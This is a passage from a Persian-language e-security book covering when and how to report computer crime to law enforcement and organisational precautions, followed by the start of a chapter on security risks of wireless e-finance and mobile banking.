- مراجع محلی ممکن است به پیگیری شکایت شما علاقهٔ بیشتری داشته باشند؛ چون به احتمال زیاد مشکلی که برای شما پیش آمده در کنار هزاران مورد مشابه دیگر (به آن اندازه که در سطح کشوری وجود دارد) قرار ندارد. بنابراین احتمال بیشتری وجود خواهد داشت که مسئولان محلی به مشکل شما اهمیت دهند؛ حتی اگر آن مشکل خیلی کوچک باشد.
- هرچند برخی از مسئولان محلی ممکن است در زمینهٔ رایانه و جرائم رایانه‌ای مهارت زیادی داشته باشند، اما حتی در ایالات متحده هم عموماً مسئولان محلی از مسئولان ایالتی و کشوری تجربهٔ کمتری دارند و ممکن است انجام تحقیقات پیشرفته برایشان سخت باشد. در عوض بسیاری از سازمانهای کشوری از کارشناسانی بهره‌مندند که می‌توان آنها را به سرعت وارد جریان حل مشکلات کرد.
- در ایالات متحده مقامات ایالتی نسبت به مقامات کشوری علاقهٔ بیشتری به تعقیب و کشف جرائم جوانان و نوجوانان نشان می‌دهند. اگر می‌دانید که از جانب یک نوجوان که در ایالت خودتان اقامت دارد مورد حمله قرار گرفته‌اید بهتر است به مقامات محلی رجوع نمایید. گاهی اوقات هم بهتر است که راههای پیگرد قانونی را کنار بگذارید و مستقیماً با والدین یا معلمین آن مهاجم جوان صحبت کنید (یا از یک حقوقدان یا پلیس بخواهید اینکار را برای شما انجام دهد).

مخاطرات پیگرد متهمان

در استمداد از مراجع قانونی مشکلات بالقوهٔ زیادی وجود دارد که محدود به مسائلی چون تجربهٔ کارِ آنها با رایانه و شبکه و یا تعقیب جرائم رایانه‌ای نمی‌شود. گاهی اوقات ممکن است مراجعی که اطلاعات و تجربهٔ کافی در زمینهٔ رایانه ندارند بمنظور درک نکات پرونده، شما را دعوت به همکاری نمایند. در حالات دیگر ممکن است از اطلاعات شما صرفنظر کنند تا فقدان اطلاعات خود را بپوشانند و از زیر سؤال رفتن اعتبار دوایر اجرای قوانین جلوگیری نمایند. لازم به ذکر است که در بسیاری از موارد این احتمال وجود دارد که خود قربانی هم در فعالیتهای جنایی نقش داشته باشد. یک بازرس باتجربه در دنیای واقعی، به نظرات قربانی اطمینان کامل و بی شک و شبهه نمی‌نماید؛ و این مسئله برای جرائم دنیای سایبر هم صدق می‌کند.

اگر از شما و کارمندانتان خواسته شد که در فرآیند تحقیق برای کمک به شناخت موضوع مشارکت نمائید، اطمینان یابید که این عمل به دستور دادگاه انجام شده است؛ چراکه در غیراینصورت ممکن است بنظر بیاید که مشتاق قربانی‌شدن بوده‌اید. بهتر است که یک شخص بیطرف را برای همکاری با نمایندگان نیروهای انتظامی و دوایر اجرای قانون معرفی کنید.

منش و رفتار مجریان قانون گهگاه مشکلات جدی بوجود می‌آورد. ممکن است برخی تجهیزات شما به بهانهٔ بازجویی یا کنترل برای مدتهای غیرقابل توجیهی توقیف شوند – حتی اگر خود، قربانی یک جرم رایانه‌ای باشید. اگر شما قربانی بوده‌اید و رخداد امنیتی را خودتان گزارش کرده‌اید، معمولاً مقامات شما را از تلاشهایشان مطلع می‌کنند تا نارضایتی شما را به حداقل برسانند. با اینحال اگر نفوذگران از کارمندان خودتان باشند و یا پای مسائل حساسی چون اطلاعات رسمی و نظامی در میان باشد، ممکن است شما نظارتی روی روش و مدتی که سیستمها و رسانه‌های ذخیره‌سازیتان تحت بررسی قرار می‌گیرند نداشته باشید. این مشکل زمانی حادتر می‌شود که بازرسان پرونده نیازمند همکاری متخصصانی خارج از دفاتر محلی خود نیز باشند. اطمینان حاصل کنید که زمان ایجاد وقفه در کار بدلیل شرایط اجباری انجام تحقیقات را محاسبه می‌نمایید؛ چراکه این زمان و خسارتهای ناشی از آن می‌تواند بعنوان قسمتی از آسیبهای واردهٔ هنگام پیگرد قرار گیرد و متعاقباً در هر دادخواست مدنی (دادخواستهایی که می‌تواند علیه مهاجم و گاهی اوقات نیز علیه خود دوایر اجرای قوانین تنظیم شود) بکار رود.

در جریان تحقیقات نسخه‌های پشتیبان از منابع بسیار با ارزش به شمار می‌روند. علاوه بر این، درصورت لزوم

می‌توانید هنگامیکه سیستمهای اصلی شما تحت بازرسی و آزمایش است، از سیستمهای پشتیبان استفاده نمایید.

وقتی با دوایر اجرای قانون برای انجام تحقیقات همکاری می‌کنید، ممکن است در اثر سنگینی و ناکارآمدی آن تحقیقات، دید جامعهٔ رایانه‌ای نسبت به شما منفی شود. بیشتر کاربران رایانه دیدگاهی منفی نسبت به مجریان قانون دارند و اگر شما هم در آن جایگاه قرار بگیرید، این احساسات متوجه شما نیز می‌شود. چنین قضاوتهایی می‌تواند جایگاه شما را در انظار پایینتر از آنچه که مستحق آن هستید قرار دهد و از همکاری شما نه تنها با آن تحقیقات بلکه با سایر فعالیتهای تخصصی نیز جلوگیری کند. علاوه بر این پس از پایان‌یافتن بازرسی ممکن است آماج حملات الکترونیکی یا سایر سوء استفاده‌ها قرار بگیرید.

این رفتارها مایهٔ تأسفند، چراکه به هر حال بسیاری از بازرسان، دقیق و حرفه‌ای هستند و ممکن است برای جلوگیری از یک فعالیت مشکوک یا تهاجم دائمی، واقعاً به بازرسیهای موشکافانه نیاز داشته باشند. امروز می‌توانیم بگوییم که این مشکل در سالهای اخیر کمتر شده و نگرانیها در مورد آن نسبت به دههٔ گذشته کاهش یافته است. به مرور زمان و با آگاهتر شدن مردم نسبت به خسارتهای نفوذگران – حتی آنها که سوء نیتی نداشته‌اند– انتظار این است که این احساسات منفی نسبت به مراجع قانونی از این هم کمرنگتر شود.

توصیهٔ اکید ما به شما این است که هنگام تصمیم‌گیری در مورد درمیان گذاشتن هرگونه مشکل امنیتیِ سیستم خود با مراجع قانونی خوب فکر کنید و جوانب امر را مورد بررسی قرار دهید. در بیشتر مواقع بهتر است بسنجید که در چه صورت مراجعه به مراجع قضایی لازم است: درصورتیکه واقعاً چیزی را از دست داده و متحمل ضرر شده‌اید و یا درصورتیکه شخصاً قادر به کنترل وضعیت پیش‌آمده نیستید. بعضی اوقات هیاهوی ناشی از یک اتفاق خطرناکتر از سایر خسارتهایی است که در پی وقوع آن اتفاق به بار می‌آید.

بعد از اینکه تصمیم به استمداد از مراجع قانونی گرفتید از به‌پا کردن هیاهو در این زمینه بپرهیزید. در بعضی موارد دخالت مراجع قانونی می‌تواند عامل دلسردی نفوذگران باشد، اما در بعضی موارد نیز می‌تواند شما را در کانون توجه آنها و درنتیجه حملات بیشتر قرار دهد. آگاه باشید که ممکن است مشکل فعلی شما جزئی از یک مشکل گسترده‌تر باشد که درحال توسعه و گسترش است و لذا درصورتیکه بدرستی آنرا مدیریت نکنید باعث وارد آمدن آسیبهای فراوانی به شما و دیگران شود.

ما علاقه‌مندیم که خوشبینانه به این موضوع نگاه کنیم. مراجع قانونی بطور کلی از نیاز به ارتقای سطح خود در بررسی جرائم رایانه‌ای اطلاع دارند و معمولاً در تلاشند که مراکز آموزشی راه‌اندازی کنند، تشکیلات و تسهیلات تحلیل قانونی تهیه نمایند، و ابزارهای دیگری برای انجام تحقیقات ثمربخش را بکار گیرند. معمولاً در دادسراها (خصوصاً در مناطق پیشرفتهٔ کشور) بعضی بازرسان و دادیارها تجربهٔ زیادی کسب می‌کنند و لذا باید در تلاش باشند که اطلاعات خود را به سایر همکارانشان نیز انتقال دهند. نتیجهٔ این فرآیند در سالهای اخیر یک ارتقای اساسی در سطح موفقیت فعالیت نیروهای انتظامی و انجام شدن تعداد زیادی تحقیقات و دادرسیهای موفق در حوزهٔ جرائم سایبر بوده است. بهتر است به فواید بیشمار گزارش‌کردن جرائم رایانه‌ای – نه تنها برای خودتان، بلکه برای تمام جامعه – توجه داشته باشید: دادرسیهای موفق می‌توانند باعث جلوگیری از سوء استفاده‌های بعدی از سیستمهای شما و نیز دیگران شوند.

مسئولیت گزارش جرم

در پایان به یاد داشته باشید که یک جرم تنها درصورتی مورد پیگرد قضایی قرار می‌گیرد که شما آنرا گزارش کرده باشید. در غیراینصورت اینکار انجام نمی‌شود و این نه به سود شماست و نه هیچکس دیگر؛ و دست نفوذگر را نیز برای وارد آوردن آسیبهای بیشتر و به افراد دیگر باز می‌گذارد. به یاد داشته باشید که ممکن است آنچه شما با آن برخورد کرده‌اید جزئی از یک مجموعهٔ عظیم جرائم رایانه‌ای و اعمال خرابکارانه باشد. بدون انجام بررسیهای لازم نمی‌توان ادعا کرد که آنچه بر سر شما آمده یک رخداد مجزا و بی‌ارتباط با سایر اجزای سیستم بوده و یا جزئی از یک تهاجم بزرگتر.

مشکلِ دیگرِ عدم گزارش جرائم سنگین رایانه‌ای این است که برخی به غلط تصور خواهند کرد که این جرائم بندرت رخ می‌دهند و درنتیجه احتمال وقوع این مشکلات در سیستمهای خود را ناچیز خواهند پنداشت، روی بودجه‌بندی و آموزش مأموران جدید اجرایی تأکید زیادی بعمل نخواهد آمد؛

برای بهبود قوانین فعلی تلاش ناچیزی خواهد شد؛ و جامعه نیز به موضوعاتی از این قبیل توجه کمتری نشان خواهد داد؛ و خلاصه اینکه نتیجه این خواهد بود که محیط رایانه‌ای برای همهٔ بازیگران آن خطرناکتر از آنچه ممکن است بنظر بیاید خواهد شد.

احتیاط بیشتر...

در این بخش خلاصه‌ای از پیشنهادات دیگر برای جلوگیری از سوء استفادهٔ احتمالی از رایانه‌ها ارائه شده است:

- در متن برنامه‌ها و داده‌های رایانه، اطلاعات مربوط به حق نسخه‌برداری و مالکیت انحصاری خود را در ابتدایی‌ترین بخش هریک از فایلها قرار دهید. اگر صراحتاً به حق نسخه‌برداری اشاره کرده‌اید، حتماً امکان پرکردن یک فرم مخصوص در همین رابطه را برای هر مشتری پیش‌بینی کنید. انجام اینکار می‌تواند به بازرسی دقیق‌تر و ترمیم خسارتها کمک کند.
- اطمینان حاصل کنید که کاربران دربارهٔ بایدها و نبایدهای فعالیتها و مسئولیتها خود آگاهی کامل دارند.
- تمام کاربران را از هر چیزی که در شبکهٔ شما تحت نظارت قرار دارد مطلع کنید (درصورتیکه با انجام اینکار سیاستهای شما نقض نمی‌شود). این نظارت می‌تواند شامل نامه‌های الکترونیکی، فشرده‌شدن کلیدها، و دسترسی به فایلها شود. چنانچه در مورد این نظارت هشدار داده نشود، ممکن است نظارت بر کارهای یک مهاجم هم بعنوان نقض قوانین حریم خصوصی تلقی شود.
- نسخه‌های پشتیبان را خوب تهیه کنید و از آنها در جای امنی نگهداری کنید. اگر برای کشف حقیقت لازم است این نسخه‌ها را با یکدیگر مورد مقایسه قرار دهید باید قادر باشید افرادی که به نسخه‌ها دسترسی داشته‌اند را مشخص نمایید. نگهداری از پشتیبانها در محیطهای عمومی باعث می‌شود بعدها نتوان از آنها بعنوان مدرک استفاده کرد.
- درصورت مشاهدهٔ هرگونه مورد مشکوک یا اتفاقی که نیاز به دخالت مراجع قضایی دارد، یادداشت‌برداری را شروع کنید. مشاهدات و فعالیتهای خود و زمان هریک از آنها را یادداشت نمایید. از فایلهای ثبت و ردگیری‌ها نسخهٔ چاپی تهیه و آنها را ضمیمهٔ یادداشتهایتان کنید. هنگام انجام بازرسیها و تحقیقات، وجود یک سابقهٔ کتبی از اتفاقاتی که رخ داده می‌تواند بسیار ارزشمند باشد. زمان و موضوع کلیهٔ تماسها با مراجع قانونی را نیز به ثبت برسانید.
- سعی کنید سطوح اختیارات کلیهٔ کارمندان و کاربران را بصورت کتبی تعریف کنید و هرآنچه که فرد به آن دسترسی قانونی دارد (و نیز هرچه که به آن دسترسی ندارد) را در این تعاریف بیاورید. برای ابلاغ این تعاریف به افراد ساز و کاری بیاندیشید که هر کس بتواند بخوبی آنرا بفهمد و به کار ببندد، و محدودیتهای حاصل از آنرا نیز درک کند.
- به کارمندان خود صراحتاً گوشزد کنید که ملزم هستند در پایان کارشان و یا هر زمان که از آنها خواسته شد کلیهٔ منابعی که در اختیارشان بوده (مثل متن برنامه‌ها و کتابچه‌های راهنما) را بازگردانند.
- اگر اتفاقی رخ داده که بنظر شما انجام تحقیقات پلیسی را لازم می‌کند، اجازه ندهید کارکنان به تحقیقات خودسرانه بپردازند. تلاشهای خودسرانه ممکن است باعث شوند بعضی مدارک در بازرسیهای رسمی سندیت خود را از دست بدهند. همچنین ممکن است بازرسان با مشاهدهٔ دخالت شما در تحقیقات، نسبت به شما دید منفی پیدا کنند.
- کارمندان خود را به امضای توافقنامه‌ای در زمینهٔ مسئولیتهایشان در قبال اطلاعات حساس، کاربرد رایانه، استفاده از پست الکترونیکی و دیگر مسائل رایانه‌ای که ممکن است بعدها مطرح شوند ملزم نمایید. اطمینان حاصل کنید که سیاستها صریح و عادلانه هستند و همهٔ کارمندان از آن آگاهی دارند و موافقتنامه مربوطه را امضا کرده‌اند. تصریح کنید که کلیهٔ دسترسیها و حقوق دسترسی هنگام پایان‌یافتن دورهٔ کاری پایان می‌یابد و هرگونه دسترسی غیرمجاز در خلال یا پس از پایان دورهٔ کاری تحت پیگرد قانونی قرار خواهد گرفت.

مخاطرات جنایی در حوزهٔ تجارت

اگر شما یک ISP هستید یا پایگاه وب و یا به هر صورتی در محل کار خود شبکه‌های رایانه‌ای دارید، درصورتیکه از دستگاههای شما استفاده نادرست شود ممکن است خودتان تحت تعقیب قانونی قرار بگیرید.

اگر مقامات قضایی به این نتیجه برسند که رایانه‌های شما توسط یک کارمند برای نفوذ به رایانه‌های دیگر، انتقال و ذخیرهٔ اطلاعات طبقه‌بندی شده (اعم اسرار تجاری، تصاویر مستهجن کودکان، و ...) یا همکاری در جرائم رایانه‌ای مورد استفاده قرار گرفته، ممکن است رایانه‌های شما با یک حکم توقیف، برای انجام بررسیها مصادره شوند. اگر در خلال تحقیق بتوانید ثابت کنید که دسترسی آن کارمند به سیستم شما محدود بوده، ممکن است دایرهٔ این توقیف‌ها کاهش پیدا کند، اما باز هم به احتمال زیاد بخشی از ماشینهای شما طی انجام تحقیقات رسمی در توقیف باقی خواهند ماند.

بسته به راهکارهای پذیرفته‌شده در سیستم قانونی هر کشور، اگر پلیس محلی یا مقامات کشوری معتقد باشند مدارکی مبنی بر تخطی از قانون وجود دارد از یک قاضی تقاضای مجوز برای انجام تحقیق می‌کنند و قاضی نیز حکم تحقیق صادر می‌نماید. در سالهای اخیر تعدادی از بازرسان و مسئولان کشوری ایالات متحده، در برخی ایالتها جایگاهی را برای انجام تحقیقات گسترده و سنگین بوجود آورده‌اند. یک دلیل این امر، عدم تجربهٔ کافی دوایر اجرای قوانین برای برخورد با جرائم رایانه‌ای است که بنظر می‌رسد با انجام اینکار و نیز کارهای مشابه، به مرور زمان بهتر شود.

احتیاط بیشتر...

- خود را به سیستمهای نظارت بر شبکه و نظارت بر صفحه‌کلید مجهز کنید. این نرم‌افزارها می‌توانند بر تمام اطلاعات فرستاده‌شده یا دریافت‌شده نظارت کنند و آنها را ضبط نمایند. اگر احساس کردید که مورد نفوذ قرار گرفته‌اید سریعاً عملیات نظارت و ضبط را آغاز کنید و منتظر حکم دادگاه نباشید؛ چراکه نیروهای انتظامی معمولاً بدون کسب اجازه از دادگاه نمی‌توانند به شما مجوزی بدهند که بتوانید بعنوان مجری قانون عمل نمایید و دریافت حکم قاضی مبنی بر اجازهٔ دادگاه نیز ممکن است مدتها به طول بیانجامد.
- با کمک وکیل و شرکت بیمهٔ خود برای کارها، تحقیقات مرتبط، و هر فعالیت مربوط که باید هنگام وقوع یک نفوذ انجام دهید برنامه‌های اقتضائی تدوین کنید.
- آندسته از مجریان قانون که شایستگی دارند روی مشکلات بالقوه تحقیق کنند را مورد شناسایی قرار دهید؛ خود را به ایشان معرفی کنید، و نگرانیهایتان را پیش از وقوع حادثه با آنها در میان بگذارید. چنانچه در آینده به مشکلی برخورد کردید که لازم بود در آن از کمک دوایر اجرایی قانون و نیروهای انتظامی بهره بگیرید، یک آشنایی بسیار اولیه با این افراد می‌تواند بسیار کارساز باشد.
- پیوستن به جوامع و سازمانهایی که بصورت مداوم در مورد امنیت به افراد آگاهی و آموزش می‌دهند تا تخصص آنها در این زمینه افزایش یابد را فراموش نکنید.

فصل دهم
مدیریت مخاطرات سیار: خدمات مالی الکترونیکی در محیط بی‌سیم[۱۳۲]

کلیات

در این فصل به بررسی مخاطراتی می‌پردازیم که در نتیجهٔ استفاده از فناوریهای بی‌سیم در خدمات مالی بوجود می‌آیند و از طریق سرقت هویت، تسخیر فعالیتهای سیستم، و سایر اقدامات مشابه، امنیت الکترونیکی را تهدید می‌کنند. این فصل روشن می‌کند که اگرچه "حجم" معاملاتی که در محیط انجام می‌شوند بر گستردگی حوزهٔ اقدامات ضروریِ امنیتی تأثیرگذار است، اما صِرف استفاده از فناوری بی‌سیم نیز می‌تواند به آشکار شدن نقاط ضعف امنیتی بیانجامد. در این فصل چند نکتهٔ مهم مورد اشاره قرار می‌گیرند که راهبران سیستم (بخصوص در بانکها) می‌توانند جهت کاهش مخاطرات تا بیشترین حد ممکن و معمولاً بدون افزایش زیاد هزینهٔ تمام‌شده، آنها را انجام دهند. اقدامات پیشنهادی این فصل برای کاهش مخاطرات، به نوعی الگوهای سرآمدی موجود در ارائه خدمات مالی مبتنی بر فناوری بی‌سیم را نیز در بر می‌گیرد.

فناوری بی‌سیم در صنایع و بخشهای جدید

رشد سریع استفاده از فناوری بی‌سیم در بسیاری از بازارهای درحال رشد خدمات مالی، توجه دقیق به مسائل امنیت الکترونیکی در حوزهٔ این فناوری را ضروری کرده است. این موضوع در هیچیک از بازارهای درحال رشد به اندازهٔ حوزهٔ فناوری بی‌سیم – که باعث رواج فناوری تلفن همراه در این بازارها شده – از اهمیت برخوردار نیست. هرچه کشورها در استفاده از این فناوری برای ارائه خدمات مالی بیشتر تلاش کنند، توجه به خطرات بالقوهٔ امنیتی در فناوری بی‌سیم و اینکه شرکای تجاری در بازار و راهبران سیستم در بانکها و سایر مؤسسات خدماتی چقدر بهتر می‌توانند امنیت را تضمین کنند حیاتی‌تر می‌شود. بنابراین هدف این فصل توضیح این مطلب است که چرا و چگونه امنیت الکترونیکی به یک دغدغه تبدیل می‌شود و چگونه می‌توان بدون پرداخت هزینهٔ اضافی به ارائه‌کنندگان خدمات مالی این مخاطرات را کاهش داد. با توجه به این نکتهٔ بسیار مهم که تغییرات بسیار سریع فناوری امکان ارائه راهکارهای ثابت و تغییرناپذیر را از راهبران سیستمهای خدمات مالی سلب کرده، بسیاری از اقداماتی که در این کتاب توصیه شده‌اند مربوط به امنیت چندلایه در کاربردهای بی‌سیم خدمات مالی می‌باشند، و نمایانگر آنچه امروز بعنوان الگوهای سرآمدی امنیت الکترونیکی شناخته می‌شوند هستند.

این فصل به قسمتهای زیر تقسیم شده: قسمت "الف" خواننده را با گسترهٔ وسیع کاربردهای فناوری بی‌سیم و خدمات مالی الکترونیکی در سراسر دنیا آشنا می‌کند؛ قسمت "ب" به معرفی مخاطرات ذاتی فناوری بی‌سیم می‌پردازد؛ قسمت "ج" نقاط ضعف *شبکه‌های محلی بی‌سیم* (WLANs)[۱۳۳] و روالهای کاهش مخاطرات که برای تأمین امنیت آنها لازم هستند را شرح می‌دهد؛ قسمت "د" به تکامل *شبکه‌های سراسری مخابرات سیار* (شبکه‌های GSM)[۱۳۴] و آسیبهای موجود در آنها می‌پردازد؛ قسمت "ه" جزئیات روشهای صحیح مواجهه با مخاطرات شبکه‌های GSM را توضیح می‌دهد؛ قسمت "و" به ارائه الگوهای سرآمدی مدیریت مخاطره در ارائه خدمات پرداخت می‌پردازد؛ و قسمت "ز" نیز یک جمع‌بندی نهایی و دورنمایی از آینده (نسل سوم؛ 3G) ارائه می‌کند.

هدف این فصل ارائه مجموعه‌ای از راهکارهای مدیریت مخاطرات و تأمین امنیت برای بانکها و سیستمهای پرداخت است. این فصل تلاش می‌کند بستری برای ارزیابی

۱۳۲ مراجعه کنید به مقالهٔ بانک جهانی به قلم Tom Kellerman تحت عنوان:
"Mobile Risk Management: e-Finance for the Wireless Environment (2002)": http://wbln0018.worldbank.org/html/FinancialSectorWeb.nsf/SearchGeneral?openform&E-Security/E-Finance&Publications

133 Wireless Local Area Networks

134 Global System for Moblile Communication Networks

مخاطرات امنیتی ارائه کند که در محیط بی‌سیم قابل کاربرد باشد.

الف. کلیات خدمات مالی الکترونیکی[۱۳۵]

خدمات مالی الکترونیکی چه بصورت اینترنتی و چه با مکانیزمهای راه دور، رشد سریعی داشته‌اند. کشورها و مصرف‌کنندگان با روند فزاینده‌ای به هم متصل می‌شوند. این فناوریها نه تنها کشورهای عضو در شبکه را گسترش می‌دهند، بلکه راههای جدیدی برای ارائه خدمات مالی بوجود می‌آورند. از اواسط دهۀ ۹۰ سرمایه‌گذاریهای صنعت بانکداری برای افزایش رضایتمندی مشتریان روی بانکداری اینترنتی تمرکز کرده‌اند. خدمات مالی الکترونیکی منجر به کاهش هزینه‌های خدمات مالی شده است. شبکۀ اینترنت علاوه بر صرفه‌جویی در هزینه‌های ثابت توسعه و نگهداری شعب، بسیاری از مراحل اضافه را نیز حذف کرده و هزینه‌ها را کاهش داده است. انجام یک تراکنش عادی از طریق یک شعبه یا تماس تلفنی هزینه‌ای معادل یک دلار آمریکا دارد، درحالیکه انجام همان تراکنش بصورت اینترنتی هزینه‌ای معادل ۰،۰۲ دلار خواهد داشت. هزینه‌های نازل خدمات مالی اینترنتی باعث رواج استفاده از آن شده است. خدمات مبتنی بر اینترنت در بازارهای درحال رشد گاهی اوقات به اندازۀ خدمات صنعتی رایج هستند. برای مثال بانکداری اینترنتی در برزیل همچون ایالات متحده گسترش یافته است. به علت عدم وجود زیرساخت مناسب خطوط در غالب کشورهای درحال توسعه، بیشتر مؤسسات مالی خدمات خود را در بسترهای بی‌سیم پیاده‌سازی کرده‌اند تا دسترسی به آنها را گسترش داده باشند. همزمان با این واقعیتها، چهار گرایش مرتبط با فناوری جدید در صنعت ایجاد شده است: برونسپاری، معماری باز، استراتژیهای یکپارچه، و روشهای جدید پرداخت الکترونیکی.[۱۳۶]

خدمات مالی الکترونیکی از چهار قسمت اصلی تشکیل شده: *انتقال سرمایه‌های الکترونیکی* (EFT)[۱۳۷]، *تبادل دادۀ الکترونیکی* (EDI)[۱۳۸]، *انتقال سود الکترونیکی* (EBT)[۱۳۹] و *تأیید تجارت الکترونیکی* (ETC)[۱۴۰]. EFT در واقع قدیمی‌ترین صورت تبادل پول الکترونیکی است که از اوایل دهۀ ۱۹۶۰ مرسوم شد. در مقیاس جهانی مقدار بسیار زیادی EFT در داخل و میان بانکها وجود دارد که خزانۀ ایالات متحده میزان آنرا حدود ۲ تریلیون دلار در روز یا ۷۰۰ تریلیون دلار در سال تخمین زده است. بخش عمده‌ای از EFT بانکیِ شبکۀ SWIFT بوسیلۀ خطوط بین‌المللی ماهواره صورت می‌گیرد. درحال حاضر حدوداً نیمی از ۲۰۰ کشور دنیا اینترنت و شبکه‌های داخلی بزرگ خود را از طریق خطوط ماهواره‌ای تأمین می‌کنند. اگرچه غالب این کشورها از لحاظ اقتصادی توسعه یافته هستند، اما این مسئله باعث ترافیک زیاد و حجم وسیع عملیات اقتصادی می‌شود؛ و این مسئله از نقطه‌نظر آسیب‌پذیریهای امنیتی یک دغدغۀ بزرگ به حساب می‌آید.[۱۴۱] تا سال ۲۰۰۵ سهم بانکداری اینترنتی در کشورهای صنعتی از ۸،۵٪ به ۵۰٪ و در بازارهای درحال رشد از ۱٪ به ۱۰٪ خواهد رسید. درصورت برقراری بهتر اتصالات در بازارهای درحال رشد ممکن است تراکنشهای بانکداری اینترنتی در سال ۲۰۰۵ تا ۲۰٪ افزایش یابند؛ که رقمی بیش از شش تریلیون دلار معاملۀ اینترنتی *تجارت-به-تجارت* (B2B)[۱۴۲] خواهد بود.[۱۴۳]

در پی رشد خدمات مالی الکترونیکی یک نگرش دیگر نیز درحال شکل‌گیری است: گسترش روزافزون کاربرد ارتباطات بی‌سیم در کشورهای توسعه‌یافته و درحال توسعه. این رسانۀ نسبتاً جدید بسرعت درحال تبدیل شدن به رسانۀ اصلی تجارت الکترونیک و خدمات مالی الکترونیکی است. تحول کسب و کارها از سیستمهای کاغذی به بسترهای مبتنی بر اینترنت بسیار عمیق بوده است. همینطور که بستر انواع خدمات از خطوط زمینی به فناوریهای بی‌سیم با امکان

---

۱۳۵ *برای مشاهدۀ یک تحلیل دقیقتر در زمینۀ امنیت الکترونیکی به منبع زیر نوشتۀ T. Kellerman ،T. Glaessener، و V. McNevin (سال ۲۰۰۲) مراجعه کنید:*
"E-Security Risk Mitigation for Financial Transactions"

136 *Gilbride, Edward. Emerging Bank Technology and the Implications for E-crime Presentation, September 3, 2001*

137 *Electronic Funds Transfers*
138 *Electronic Data Interchange*
139 *Electronic Benefits Transfers*
140 *Electronic Trade Confirmation*
141 *Dr. Joseph N. Pelton, "Satellite Communications 2001: The Transition to Mass-Consumer Markets, Technologies, and Systems".*
142 *Business To Business*
143 *Jupiter Communications, 2001*

دسترسی بیشتر تبدیل می‌شود، اثرات منفی این پدیده نیز گسترش می‌یابد.

دستگاههای سیار امروزه بعنوان لبهٔ درحال پیشرفت فناوریهای جهان محسوب می‌شوند. در سال ۱۹۹۰ تنها یازده میلیون مشترک تلفن همراه در تمام دنیا وجود داشت.[۱۴۴] تا سال ۱۹۹۹ و با گسترش فناوریهای بی‌سیم این رقم به چیزی فراتر از پانصد میلیون رسید و درحال حاضر نیز تقریباً دو برابر آن مقدار شده است. بررسی آمار مشابه در کشورهای درحال توسعه، جهشی که در اثر استفاده از دستگاههای سیار بوجود آمده را بخوبی نشان می‌دهد.[۱۴۵] کشور کامبوج درحالیکه پس از حدود ۲۰ سال جنگ شهری شبکهٔ خطی ثابت خود را از دست داده بود، با استفاده از فناوری بی‌سیم توانست بار دیگر اتصالات خود را برقرار کند. در خلال یکسال بعد از آغاز استفاده از فناوری بی‌سیم، تعداد مشترکان تلفنهای سیار از مشتریان تلفنهای ثابت پیشی گرفت. کامبوج درحالیکه یکی از کمترین درآمدهای سرانهٔ دنیا را دارد، در زمینهٔ گسترش عمومی تلفن از ۳۱ کشور – از جمله بعضی کشورها که درآمد بسیار بیشتری از آن دارند – پیشی گرفته است. کشورهای دنیا بجای صرف مقادیر فراوان منابع و زمان برای ایجاد زیرساختهای خطی ثابت جهت تسهیل ارتباطات، این ساختارهای سیمی را با برجهای ارزان تلفن همراه که تولید آنها نیز ساده‌تر است جایگزین نموده‌اند. البته این تحولات مخاطرات امنیتی چندی نیز به همراه داشته که بعضی از آنها بسیار جدی هستند.

توسعهٔ مداوم اقتصادی و راههای جدید ارائه خدمات مالی مثل پروتکلهای بی‌سیم، برای بانکها این امکان را بوجود آورده‌اند که بتوانند خدمات مالی را از راه دور ارائه کنند؛ اما نکته اینجاست که این موقعیتها محدود به اقتصاد رسمی نیستند. در کنار این پیشرفتها اقتصاد زیرزمینی و مجرمانه جهانی هم توانسته به خوبی خود را با فناوری وفق دهد. ارائه خدمات مالی بوسیلهٔ رسانه‌های بی‌سیم فرصتهایی را برای سرقت هویت، تبادل سرمایه‌های جعلی، و همچنین اخاذی فراهم کرده است.

ب. مخاطرات خدمات مالی الکترونیکی در شبکه‌های بی‌سیم

در کنار فواید زیاد فناوری جدید، مخاطراتی هم بوجود آمده است، چراکه فناوری روشهای جدید کلاهبرداری و سرقت را نیز تسهیل می‌کند. اکنون مسائلی چون جعل هویت، دسترسی از راه دور، و چاپ تصاویر اوراق بهادار با کیفیت عالی در دنیای اینترنتی وجود دارد و ابزارها و بسترهای چندمنظوره انجام آنها را تسهیل می‌کنند. با گسترش *دستگاههای خودپرداز تلفنی*[۱۴۶] که در مناطق درحال توسعه امکان استفاده از پول را بوجود می‌آورد، بزهکاران قادرند که اتصال بی‌سیم میان دستگاههای خودپرداز و بانک مادر را دستکاری نموده و کلیهٔ تبادلات ورودی و خروجی دستگاه خودپرداز تلفنی را تسخیر کنند. هنر نفوذ برخط در ابتدا یک تخصص پیچیده بود، اما عصر اطلاعات، زمینه را برای گسترش پایگاههای وب زیرزمینی مربوط به نفوذگران – که امروزه با ارائه ابزارهای مختلف برای نفوذ به زیرساختهای اقتصادی، از کلاهبرداریهای رایانه‌ای پشتیبانی می‌کنند – فراهم نموده است. بعنوان مثال پایگاههایی مانند www.astalavista.box.sk و یا www.attrition.org برنامه‌ها و ویروسهای مخربی دارند که برای افراد مبتدی امکان نفوذ به سیستمهای بانکی را فراهم می‌آورند. شرکت Internet Data Center (www.idc.com) اخیراً در گزارشی اعلام کرده که بیش از ۵۷٪ کل حملات سال گذشته، متوجه بخشهای مالی بوده است.

مخاطرات سنتی سالهای گذشته متحول شده‌اند. در طول تاریخ تا کنون کلاهبرداریها همواره شامل سوء استفاده از اسناد چاپی یا سوء استفاده از افراد بوده، اما در محیط الکترونیکی فرصتهای جدیدی برای جرائم اقتصادی بوجود آمده است. در سال ۲۰۰۱ بیش از یک چهارم (۲۷٪) پایگاه دادههای بانکی و مالی مورد دستبرد قرار گرفته‌اند.[۱۴۷] باندهای نفوذگران اروپای شرقی صدها بانک را در سرتاسر جهان مورد دستبرد قرار داده‌اند. درحال حاضر در جرائم

144 *Box 1 of "E-Finance in Emerging Markets: Is Leapfrogging Possible?", Claessens S., T. Glaessener, D. Klingebiel, 2001.*

۱۴۵ *قسمت اول کتاب:*
"E-Finance in Emerging Markets: Is Leapfrogging Possible?", 2001.
Claessens. S,T. Glaessner, D. Klingebiel به قلم

146 *Dialup ATM*

147 *Evans Data Corp. Survey*

